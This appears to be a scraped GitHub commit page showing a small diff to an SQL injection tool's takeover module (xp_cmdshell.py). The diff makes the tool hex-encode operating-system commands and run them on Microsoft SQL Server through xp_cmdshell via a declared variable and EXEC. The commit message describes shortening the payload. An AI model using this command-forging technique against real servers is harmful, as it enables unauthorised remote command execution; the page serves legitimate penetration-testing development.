Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 18be319

Browse files
committed
hexencoding the command is much shorter than unescaping with CHAR() for MSSQL, also no need for spaces between nested comments when forging the xp_cmdshell command to run
1 parent ff9e97a commit 18be319

1 file changed

Lines changed: 4 additions & 3 deletions

File tree

lib/takeover/xp_cmdshell.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
from lib.core.common import randomStr
1515
from lib.core.common import readInput
1616
from lib.core.common import wasLastRequestDelayed
17+
from lib.core.convert import hexencode
1718
from lib.core.data import conf
1819
from lib.core.data import kb
1920
from lib.core.data import logger
@@ -148,9 +149,9 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
148149

149150
def xpCmdshellForgeCmd(self, cmd):
150151
self.__randStr = randomStr(lowercase=True)
151-
self.__cmd = unescaper.unescape("'%s'" % cmd)
152-
self.__forgedCmd = "DECLARE @%s VARCHAR(8000); " % self.__randStr
153-
self.__forgedCmd += "SET @%s = %s; " % (self.__randStr, self.__cmd)
152+
self.__cmd = "0x%s" % hexencode(cmd)
153+
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
154+
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
154155
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
155156

156157
return self.__forgedCmd

0 commit comments

Comments
 (0)